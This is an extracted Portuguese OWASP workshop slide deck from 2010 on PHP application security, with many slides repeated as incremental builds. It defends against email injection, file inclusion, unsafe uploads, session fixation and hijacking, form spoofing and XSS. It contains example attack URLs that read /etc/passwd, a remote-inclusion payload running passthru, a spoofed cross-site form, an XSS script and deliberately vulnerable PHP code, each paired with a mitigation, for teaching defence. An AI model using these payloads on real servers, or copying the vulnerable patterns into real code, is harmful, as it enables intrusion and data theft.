SlideShare a Scribd company logo
1 of 89
Download to read offline
1




    OWASP @ ISCTE-IUL
    Workshop de Segurança Aplicacional

         Segurança em PHP


             Joaquim Marques - EST

                                     Abril 2010
Aplicações Web - problemas
 No Início
  - Protocolo HTTP /browsers desenhados para permuta de documentos,
  - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
  - Segurança das aplicações deixada para segundo plano.




      OWASP @ ISCTE-IUL
                                                                                     Abril 2010
Aplicações Web - problemas
 No Início
  - Protocolo HTTP /browsers desenhados para permuta de documentos,
  - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
  - Segurança das aplicações deixada para segundo plano.




  Actualidade
  - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)
  - Dificuldade em criar aplicações razoavelmente seguras
  -Segurança é dispendiosa (análise de risco)
  - Segurança dificulta a usabilidade




      OWASP @ ISCTE-IUL
                                                                                            Abril 2010
Aplicações Web - problemas
 No Início
  - Protocolo HTTP /browsers desenhados para permuta de documentos,
  - Utilização de tecnologias pouco interoperáveis na concepção de aplicações web,
  - Segurança das aplicações deixada para segundo plano.




  Actualidade
  - Quase todas as aplicações Web tem problemas de segurança (diferentes umas das outras)
  - Dificuldade em criar aplicações razoavelmente seguras
  -Segurança é dispendiosa (análise de risco)
  - Segurança dificulta a usabilidade




      OWASP @ ISCTE-IUL
                                                                                            Abril 2010
3




    http://i.cmpnet.com/v2.gocsi.com/pdf/CSISurvey2007.pdf
                        2005 CSI/FBI Annual Computer Crime and Security Survey

                                                                                 Abril 2010
4




CAPÍTULO II
Dos crimes ligados à informática
      Artigo 3º - Falsidade informática
                                                         Pena de prisão
      Artigo 4º - Dano relativo a programas ou outros dados Informáticos
      Artigo 5º - Sabotagem informática
      Artigo 6º - Acesso ilegítimo
      Artigo 7º - Intercepção ilegítima




                                                                  Abril 2010
5




Questões de segurança actuais - vulnerabilidades
Ataques de “hackers”
         - negação de serviço,
         - assalto a servidores,
Ameaças vulgares (vírus, spyware, pishing,…)
Comprometimento de dados




                                                   Abril 2010
5




Questões de segurança actuais - vulnerabilidades
Ataques de “hackers”
         - negação de serviço,
         - assalto a servidores,
Ameaças vulgares (vírus, spyware, pishing,…)
Comprometimento de dados


Ameaças – O que fazer
        <   Monitorização: saber o que aconteceu.
        <   Deteccão: saber quando fui atacado.
        <   Prevenção parar os ataques antes de terem sucesso.
        <   Avaliação: descobrir os problemas primeiro que os atacantes

                                                                          Abril 2010
6




    Firewall de rede




    OWASP @ ISCTE-IUL
                        Abril 2010
6




    Firewall de rede


                        Exploração de
                        vulnerabilidades
                        através:
                        - Web servers
                        - Database servers
                        - Web Application Servers




    OWASP @ ISCTE-IUL
                                       Abril 2010
7




    Abril 2010
7




    Abril 2010
7




    Abril 2010
8



    - TOP 10 vulnerabilidades de aplicações Web 2010




                                                       Abril 2010
9


PHP – tipos de vulnerabilidades mais explorados

    PHP Remote File Include:
     Por defeito o PHP permite que as funções que lidam com ficheiros acedam a recursos através da
    funcionalidade/extensão "allow_url_fopen". Ao permitir que os scripts permitam que o input de utilizadores
    influenciem os nomes de ficheiros então a inclusão remota de ficheiros pode resultar. Este ataque permite:
                 Execução de código remoto
                                Instalação de rootkits
                                Compromisso do sistema
    SQL Injection:
    As injecções são possíveis pelo fornecimento de dados falsamente interpretados pelas queries SQL. As
    injecções SQL permitem ao atacante:
          Criar, ler, alterar, e apagar os dados disponíveis para a aplicação comprometendo a base de dados e o
          próprio sistema.
    Cross-Site Scripting (XSS): Permite ao atacante desfigurar um website, inserir conteúdo hostil, conduzir
    ataques de pishing, assaltar o browser usando javascript e até forçar o utilizador a usar comandos
    inapropriados sem o saber (XSRF).

    Cross-Site Request Forgeries (CSR/XSRF): Força os utilizadores legítimos a executar comandos sem o seu
    consentimento, sendo extremamente difícil de prevenir ( a sua sofisticação tem vindo a aumentar pela
    utilização de técnicas AJAX e até de worms automatizados - Samy MySpace Worm.

                                                                                    http://www.sans.org/top20/#s1
                                                                                                                Abril 2010
10


     PHP – cuidados básicos
           - verificar configuração do servidor Web/PHP
           - validar Input do utilizador




      Solução
            Auditoria(s)
                    - ao servidor e aplicações
            Hábitos de programação segura
            Testes ao código


                                                          Abril 2010
10


     PHP – cuidados básicos
           - verificar configuração do servidor Web/PHP
           - validar Input do utilizador




      Solução
            Auditoria(s)
                    - ao servidor e aplicações
            Hábitos de programação segura
            Testes ao código


                                                          Abril 2010
10


     PHP – cuidados básicos
           - verificar configuração do servidor Web/PHP
           - validar Input do utilizador




      Solução
            Auditoria(s)
                    - ao servidor e aplicações
            Hábitos de programação segura
            Testes ao código


                                                          Abril 2010
11

     Ferramentas
     PhpSecInfo                             PHP SecAudit –Dan Lefree




     Alteração directivas
             php.ini (se for administrador)
             .htaccess php_flag directive value
             ini_set()
                                                                       Abril 2010
12

     Regra básica
           Nunca confiar no “Input” dos utilizadores
                                                  Origem input
                                                  -Campos de formulário
                                                  -Dados $_GET, $_POST, $_REQUEST
                                                  -Cookies ($_COOKIES)
                                                  -Dados de Web services
                                                  -Ficheiros
                                                  -Variáveis de servidor
                                                    (ex:. $_SERVER['SERVER_NAME'])
                                                  -Variáveis de ambiente
                                                  -Resultados de querys a BD’s




                                                                    Abril 2010
12

     Regra básica
           Nunca confiar no “Input” dos utilizadores
                                                  Origem input
                                                  -Campos de formulário
                                                  -Dados $_GET, $_POST, $_REQUEST
                                                  -Cookies ($_COOKIES)
                                                  -Dados de Web services
                                                  -Ficheiros
                                                  -Variáveis de servidor
                                                    (ex:. $_SERVER['SERVER_NAME'])
                                                  -Variáveis de ambiente
                                                  -Resultados de querys a BD’s




                                                                    Abril 2010
12

     Regra básica
           Nunca confiar no “Input” dos utilizadores
           Filtragem e validação de dados em PHP
               Ferramentas e funções tradicionais
               Ferramentas standard (extensão filter-> PHP 5.2)
                    funções que testam, validam e filtram o input dos utilizadores




                                                                                     Abril 2010
12

      Regra básica
                     Nunca confiar no “Input” dos utilizadores
                 Filtragem e validação de dados em PHP
                     Ferramentas e funções tradicionais
                     Ferramentas standard (extensão filter-> PHP 5.2)
                           funções que testam, validam e filtram o input dos utilizadores
                                               FILTER_SANITIZE_STRING          "string"
FILTER_VALIDATE_INT       "int"
                                               FILTER_SANITIZE_STRIPPED        "stripped"
FILTER_VALIDATE_BOOLEAN   "boolean"
                                               FILTER_SANITIZE_ENCODED         "encoded"
FILTER_VALIDATE_FLOAT     "float"
                                               FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_VALIDATE_REGEXP    "validate_regexp"
                                               FILTER_SANITIZE_EMAIL           "email"
FILTER_VALIDATE_URL       "validate_url"
                                               FILTER_SANITIZE_URL             "url"
FILTER_VALIDATE_EMAIL     "validate_email"
                                               FILTER_SANITIZE_NUMBER_INT      "number_int"
FILTER_VALIDATE_IP        "validate_ip"
                                               FILTER_SANITIZE_NUMBER_FLOAT "number_float"
                                               FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
                                               FILTER_CALLBACK                 "callback"




                                                                                               Abril 2010
12

      Regra básica
                         Nunca confiar no “Input” dos utilizadores
                       Filtragem e validação de dados em PHP
                           Ferramentas e funções tradicionais
                           Ferramentas standard (extensão filter-> PHP 5.2)
                                     funções que testam, validam e filtram o input dos utilizadores
                                                                FILTER_SANITIZE_STRING          "string"
FILTER_VALIDATE_INT                 "int"
                                                                FILTER_SANITIZE_STRIPPED        "stripped"
FILTER_VALIDATE_BOOLEAN             "boolean"
                                                                FILTER_SANITIZE_ENCODED         "encoded"
FILTER_VALIDATE_FLOAT               "float"
                                                                FILTER_SANITIZE_SPECIAL_CHARS "special_chars"
FILTER_VALIDATE_REGEXP              "validate_regexp"
                                                                FILTER_SANITIZE_EMAIL           "email"
FILTER_VALIDATE_URL                 "validate_url"
                                                                FILTER_SANITIZE_URL             "url"
FILTER_VALIDATE_EMAIL               "validate_email"
                                                                FILTER_SANITIZE_NUMBER_INT      "number_int"
FILTER_VALIDATE_IP                  "validate_ip"
                                                                FILTER_SANITIZE_NUMBER_FLOAT "number_float"
                                                                FILTER_SANITIZE_MAGIC_QUOTES "magic_quotes"
                                                                FILTER_CALLBACK                 "callback"
Funções de filtragem
               filter_var ( $variable [, $filter [,$options ]] )
               filter_input ( $type , $variable_name [, $filter [, $options ]] )
               ….
                                                                                                                Abril 2010
13


     Owasp ESAPI(enterprise security API) for PHP
                               http://code.google.com/p/owasp-esapi-php/


                    PHP – níveis múltiplos de filtragem de dados




                                                                           Abril 2010
13


     Owasp ESAPI(enterprise security API) for PHP
                               http://code.google.com/p/owasp-esapi-php/


                    PHP – níveis múltiplos de filtragem de dados




                                                                           Abril 2010
13


     Owasp ESAPI(enterprise security API) for PHP
                               http://code.google.com/p/owasp-esapi-php/


                    PHP – níveis múltiplos de filtragem de dados




                                                                           Abril 2010
14

     Precauções básicas em PHP
• restrição no acesso a phpinfo(),
                       ->   disable_functions =phpinfo
• utilize ligações seguras SSL
• utilize ficheiros e directórios ocultos/privados
• “cuidados” com a configuração do PHP
             • listagem/reporting de erros
             • register_globals
             • safe_mode
• “cuidados” com os privilégios na administração das BD´s
• “cuidados” com os ficheiros de instalação/config das aplicações




                                                                    Abril 2010
14

     Precauções básicas em PHP
• restrição no acesso a phpinfo(),
                                                                    <?php
                       ->   disable_functions =phpinfo
                                                                    echo "---";
• utilize ligações seguras SSL                                      //ini_set(disable_functions =phpinfo);
• utilize ficheiros e directórios ocultos/privados                  //ini_set(register_globals = Off); sem qq efeito
• “cuidados” com a configuração do PHP                              //ini_set(safe_mode = Off); sem qq efeito
             • listagem/reporting de erros                          ini_set('display_errors', 'Off');
                                                                    ini_set('log_errors', 'On');
             • register_globals                                     ini_set('error_log', '../logs/error_log');
             • safe_mode                                            ini_set('error_reporting', E_ALL | E_STRICT);
• “cuidados” com os privilégios na administração das BD´s           phpinfo();
• “cuidados” com os ficheiros de instalação/config das aplicações   ?>




                                                                                                          Abril 2010
14

     Precauções básicas em PHP
• restrição no acesso a phpinfo(),
                                                                           <?php
                       ->   disable_functions =phpinfo
                                                                           echo "---";
• utilize ligações seguras SSL                                             //ini_set(disable_functions =phpinfo);
• utilize ficheiros e directórios ocultos/privados                         //ini_set(register_globals = Off); sem qq efeito
• “cuidados” com a configuração do PHP                                     //ini_set(safe_mode = Off); sem qq efeito
             • listagem/reporting de erros                                 ini_set('display_errors', 'Off');
                                                                           ini_set('log_errors', 'On');
             • register_globals                                            ini_set('error_log', '../logs/error_log');
             • safe_mode                                                   ini_set('error_reporting', E_ALL | E_STRICT);
• “cuidados” com os privilégios na administração das BD´s                  phpinfo();
• “cuidados” com os ficheiros de instalação/config das aplicações          ?>



                                                     <?
                                                     //ini_set('register_globals', 'Off'); sem qq efeito
                                                     //$auth=0;
                                                     if ($password == "chave") {
                                                       $auth = 1;
                                                     }
                                                     if ($auth == 1) {
                                                       echo "acesso permitido";
                                                     } else {
                                                     echo "acesso recusado";
                                                     }                                                           Abril 2010
                                                     ?>
15




a)- Spoofing do endereço de e-mail
                                                                                   To: $recipient
                                                                                   Subject: $subject
 mail($recipient,$subject,$message,$headers)                                        $headers
                                                                                    $message
 <html>
 <body>                                                                    <form method='POST'
 <?php                                                                     action='php_email_injectiona.php'>
 //php_email_injectiona                                                      Para: @example.com <br />
 ini_set("SMTP","mail.est.ipcb.pt");                                         De: <input name='email' type='text' /> <br />
 ini_set("sendmail_from",“marques@est.ipcb.pt");                            Assunto: <input name='assunto' type='text' /><br />
                                                                             Message:<br />
 if (isset($_POST['email'])){                                                <textarea name='mensagem' rows='10' cols='40'>
   $email = $_POST['email'] ;                                                </textarea><br />
   $assunto = $_POST['assunto'] ;                                            <input type='submit' name='enviar' value='enviar'/>
   $mensagem = $_POST['mensagem'] ;                                        </form>
                                                                           <?php
  if (mail("marques@est.ipcb.pt",$assunto,$mensagem, "From: $email" )){;   }
   echo "Obrigado por enviar o email";                                     ?>
   }                                                                       </body></html>
 }else{
 ?>

                                                                                                                       Abril 2010
15




a)- Spoofing do endereço de e-mail
                                               To: $recipient
                                               Subject: $subject
 mail($recipient,$subject,$message,$headers)   $headers
                                               $message




                                                                   Abril 2010
15




a)- Spoofing do endereço de e-mail
                                                     To: $recipient
                                                     Subject: $subject
 mail($recipient,$subject,$message,$headers)          $headers
                                                      $message




                                                                           function spamcheck($field){
                                                                            if(eregi("to:",$field) || eregi
                                                                           ("cc:",$field)) {
                                                                              return TRUE;
                                               Php_email_injection_a.php      } else {
                                                                              return FALSE;
                                                                              }
                                                                            }              Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php
      //php_include.php
      echo "PHP_Include()";
      include($_GET['fich']);
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php
      echo "PHP_Include()";
      include($_GET['fich']);
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php          http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php          http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);    http://localhost/php_include.php?fich=/etc/passwd
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php          http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);    http://localhost/php_include.php?fich=/etc/passwd
      ?>
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                      http://localhost/php_include.php?fich=teste.txt
      //php_include.php          http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);    http://localhost/php_include.php?fich=/etc/passwd
      ?>                         http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.   Solução:
      <?php
      //php_include_sec.php
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php
      //php_include_sec.php
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php                                                           Safemode=on
      //php_include_sec.php                                           Open_basedir=/path
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>




 R.
 I.




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php                                                           Safemode=on
      //php_include_sec.php                                           Open_basedir=/path
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>


ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
       <?php
       //php_include1.php –colocar no site atacante
 R.    print "<pre>";
 I.    passthru("dir");
       print "</pre>";
       ?>




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php                                                           Safemode=on
      //php_include_sec.php                                           Open_basedir=/path
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>


ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
       <?php
       //php_include1.php –colocar no site atacante
 R.    print "<pre>";
 I.    passthru("dir");
       print "</pre>"; http://localhost/security/php_include.php?fich=http://
       ?>               www.est.ipcb.pt/pessoais/marques/php_include1.phpsec




                                                                                                                       Abril 2010
16



  b) Inclusão de ficheiros (Directory Travessal/Remote Inclusion)
Ocorre quando um atacante especifica um nome de ficheiro com caracteres específicos ao sistema de ficheiros (. e ..)
      <?php                        http://localhost/php_include.php?fich=teste.txt
      //php_include.php            http://localhost/security/php_include.php?fich=c:/boot.ini
      echo "PHP_Include()";
      include($_GET['fich']);      http://localhost/php_include.php?fich=/etc/passwd
      ?>                           http://localhost/php_include.php?fich=../../../etc/passwd
 D.
 T.                                                    Solução alternativa
      Solução:
      <?php                                                           Safemode=on
      //php_include_sec.php                                           Open_basedir=/path
      echo"PHP_Include() -exemplo ataque <br>";
      include(basename(realpath($_GET['fich'])));
      ?>


ocorre quando um atacante é capaz de fazer sua aplicação executar código PHP da sua escolha
       <?php
       //php_include1.php –colocar no site atacante
 R.    print "<pre>";
 I.    passthru("dir");
       print "</pre>"; http://localhost/security/php_include.php?fich=http://
       ?>               www.est.ipcb.pt/pessoais/marques/php_include1.phpsec

                                Safe_mode=off
                   Funciona com Allow_url_include=on
                                Allow_url_fopen=on                                                                     Abril 2010
17


  c)- Upload de ficheiros

<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
       echo "o seguinte ficheiro foi transferido correctamente <br>";
       echo "Name: ".$_FILES['fich']['name']."<br>";
               //print_r($_FILES);
                //} else {
       // echo "<br><br>";
       // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
      //}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>

                                                                                         Abril 2010
17


  c)- Upload de ficheiros

<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
       echo "o seguinte ficheiro foi transferido correctamente <br>";
       echo "Name: ".$_FILES['fich']['name']."<br>";
               //print_r($_FILES);
                //} else {
       // echo "<br><br>";
       // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
      //}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>

                                                                                         Abril 2010
17


  c)- Upload de ficheiros

<?php
//fich_upload1a.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
copy ($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
       echo "o seguinte ficheiro foi transferido correctamente <br>";
       echo "Name: ".$_FILES['fich']['name']."<br>";
               //print_r($_FILES);
                //} else {
       // echo "<br><br>";
       // echo "Falha de Upload, tipo de ficheiro errado )".$_FILES['fich']['name'].")
<br>";
      //}
}else{
?>
<form name="form" method="post" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>

                                                                                         Abril 2010
18


c)- Upload de ficheiros
<?php
//fich_upload1.php
if (isset($_POST['Enviar'])) {
//if ($_FILES['fich']['type'] == "image/gif" && $_FILES['fich']['size']<150000) {
if (is_uploaded_file($_FILES['fich']['tmp_name']) && $_FILES['fich']['type'] == "image/gif" &&
$_FILES['fich']['size']<150000) {
move_uploaded_file($_FILES['fich']['tmp_name'], "upload/".$_FILES['fich']['name']) or die ("<BR>
Upload sem efeito");
       echo "o seguinte ficheiro foi transferido correctamente <br>";
       echo "Name: ".$_FILES['fich']['name']."<br>";
                print_r($_FILES);
                  } else {
           echo "<br><br>";
          echo "Falha de Upload, tipo de ficheiro errado (".$_FILES['fich']['name'].")<br>";
       }
}else{
?>
<form name="form" method="POST" action="" enctype="multipart/form-data">
Ficheiro:<input type="file" name="fich"> <br>
<input type="submit" name="Enviar" value="Enviar">
</form>
<?php
}
?>



                                                                                                   Abril 2010
19




d:) Fixação de sessões

     <?php                                1 - Eliminar cookies (ver session.save_path)
     //php_session1.php                   - http://host/php_session1.php?PHPSESSID=123456789
     session_start();
                                          2- a partir de outro computador
     $_SESSION['utilizador']='marques';   - http://host/php_session1.php?PHPSESSID=123456789
     $_SESSION['password']='aeiou';
     ?>




                                                                                               Abril 2010
19




d:) Fixação de sessões

     <?php                                1 - Eliminar cookies (ver session.save_path)
     //php_session1.php                   - http://host/php_session1.php?PHPSESSID=123456789
     session_start();
                                          2- a partir de outro computador
     $_SESSION['utilizador']='marques';   - http://host/php_session1.php?PHPSESSID=123456789
     $_SESSION['password']='aeiou';
     ?>




                                solução                            --session_regenerate_id()




                                                                                               Abril 2010
19




d:) Fixação de sessões

     <?php                                1 - Eliminar cookies (ver session.save_path)
     //php_session1.php                   - http://host/php_session1.php?PHPSESSID=123456789
     session_start();
                                          2- a partir de outro computador
     $_SESSION['utilizador']='marques';   - http://host/php_session1.php?PHPSESSID=123456789
     $_SESSION['password']='aeiou';
     ?>




                                solução                            --session_regenerate_id()

        ………..
        if(!isset($_SESSION['SERVER_GENERATED_SID'])) {
        //destruir todos as sessões
        session_destroy();
        }                                                           --Verificar se as sessões foram criadas pelo servidor web
        // gera um novo identificador de sessão
        session_regenerate_id( );
        $_SESSION['SERVER_GENERATED_SID']=true;
        ……..

                                                                                                                  Abril 2010
20




e) Sequestro de sessões (session Hijacking)




                                      Verificação extra
                                      (mudança de browser no
                                            utilizador)




                 Solução – utilização de tokens                Abril 2010
20




e) Sequestro de sessões (session Hijacking)
                                                               compara o valor do HTTP_USER_AGENT do
                                                               browser com o do servidor Web

                                                               <?php
                                                               session_start();
                                                               if (isset($_SESSION['HTTP_USER_AGENT']))
                                                               {
                                                                 if ($_SESSION['HTTP_USER_AGENT'] !=
                                      Verificação extra             md5($_SERVER['HTTP_USER_AGENT']))
                                      (mudança de browser no
                                                                 {
                                            utilizador)            /*PEDIDO de PASSWORD/
                                                                   exit;
                                                                 }
                                                               }
                                                               else
                                                               {
                                                                 $_SESSION['HTTP_USER_AGENT'] =
                                                                 md5($_SERVER['HTTP_USER_AGENT']);
                                                               }
                                                               ?>




                 Solução – utilização de tokens                                                 Abril 2010
21




f) - Formulários Spoofed (falsificados)




                                          Abril 2010
21




f) - Formulários Spoofed (falsificados)
     //Formulario.htm
 <html><head>  </head> <body>
 <form action="processar.php" method="post">   //processar.php
  <p>Marca</p>
  <select name="marca">                        <?php
  <option value="Ford">Ford</option>           $cor=$_REQUEST['cor'];
  <option value="Peugeot">Peugeot</option>     $marca=$_REQUEST['marca'];
  <option value="Renault">Renault</option>     echo "marca - ". $marca."<br>";
  <option value="Mercedes">Mercedes</option>   echo "cor - ".$cor."<br>";
  </select>                                    ?>
  <p>cor</p>
  <select name="cor">
  <option value="branco">Branco</option>
  <option value="verde">Verde</option>
  <option value="azul">Azul</option>
  </select>
  <input type="submit">
 </form></body> </html>



                                                                             Abril 2010
21




f) - Formulários Spoofed (falsificados)
     //Formulario.htm
 <html><head>  </head> <body>
 <form action="processar.php" method="post">   //processar.php
  <p>Marca</p>
  <select name="marca">                        <?php
  <option value="Ford">Ford</option>           $cor=$_REQUEST['cor'];
  <option value="Peugeot">Peugeot</option>     $marca=$_REQUEST['marca'];
  <option value="Renault">Renault</option>     echo "marca - ". $marca."<br>";
  <option value="Mercedes">Mercedes</option>   echo "cor - ".$cor."<br>";
  </select>                                    ?>
  <p>cor</p>
  <select name="cor">
  <option value="branco">Branco</option>
  <option value="verde">Verde</option>
  <option value="azul">Azul</option>
  </select>
  <input type="submit">
 </form></body> </html>



                                                                             Abril 2010
21




f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php"
                                                method="POST">
                                                <p>Marca</p>
                                                <select name=“marca">
                                                  <option value="Anzol">Carro da marca Anzol</option>
                                                                     //processar.php
                                                  <option value="Chaço">Carro da marca Chaço</option>
                                                </select>            <?php
                                                <p>cor</p>           $cor=$_REQUEST['cor'];
                                                <input type="text" name="cor" />
                                                                     $marca=$_REQUEST['marca'];
                                                <input type="submit" echo "marca - ". $marca."<br>";
                                                                     />
                                                </form>              echo "cor - ".$cor."<br>";
                                                                   ?>
                                                                Colocar no site do atacante
                                                                (fazendo as alterações adequadas)
                                            Formulario_spoof.htm




                                                                                                    Abril 2010
21




f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php"
                                                method="POST">
                                                <p>Marca</p>
                                                <select name=“marca">
                                                  <option value="Anzol">Carro da marca Anzol</option>
                                                                     //processar.php
                                                  <option value="Chaço">Carro da marca Chaço</option>
                                                </select>            <?php
                                                <p>cor</p>           $cor=$_REQUEST['cor'];
                                                <input type="text" name="cor" />
                                                                     $marca=$_REQUEST['marca'];
                                                <input type="submit" echo "marca - ". $marca."<br>";
                                                                     />
                                                </form>              echo "cor - ".$cor."<br>";
                                                                   ?>
                                                                Colocar no site do atacante
                                                                (fazendo as alterações adequadas)
                                            Formulario_spoof.htm




                                                                                                    Abril 2010
21




f) - Formulários Spoofed (falsificados) <form action="http://www.vitimaspoof.com/processar.php"
                                                method="POST">
                                                <p>Marca</p>
                                                <select name=“marca">
                                                  <option value="Anzol">Carro da marca Anzol</option>
                                                                     //processar.php
                                                  <option value="Chaço">Carro da marca Chaço</option>
                                                </select>            <?php
                                                <p>cor</p>           $cor=$_REQUEST['cor'];
                                                <input type="text" name="cor" />
                                                                     $marca=$_REQUEST['marca'];
                                                <input type="submit" echo "marca - ". $marca."<br>";
                                                                     />
                                                </form>              echo "cor - ".$cor."<br>";
                                                                   ?>
                                                                Colocar no site do atacante
                                                                (fazendo as alterações adequadas)
                                            Formulario_spoof.htm

                                                                                    Solução
                                                                <?php
                                                                $markk=array ('Ford','Renault','Peugeot', ‘Mercedes’);
                                                                if (in_array($marca, $markk)) {
                                                                //ok executa código em processar.php
                                                                } else{
                                                                die ("continue tentando ...eheheh");
                                                                }
                                                                ?>
                                                                                                        Abril 2010
22



g) XSS - Cross Site Scripting


//form1.htm
<form action="processar.php" method="POST">
<p>marca</p>
<select name="marca">
   <option value="Ford">Ford</option>
   <option value="Peugeot">Peugeot</option>     //processar.php
   <option value="Renault">Renault</option>     <?php
   <option value="Mercedes">Mercedes</option>   $cor=$_REQUEST['cor'];
   </select>                                    $marca=$_REQUEST['marca'];
<p>cor</p>                                      echo "marca - ". $marca."<br>";
<input type="text" name="cor" />                echo "cor - ".$cor."<br>";
<input type="submit" />                         //ligar a BD e inserir a escolha
                                                ?>
</form>




                                                                             Abril 2010
22



g) XSS - Cross Site Scripting
                                1)   <script> alert ('Ataque XSS')</script>




                                                                              Abril 2010
22



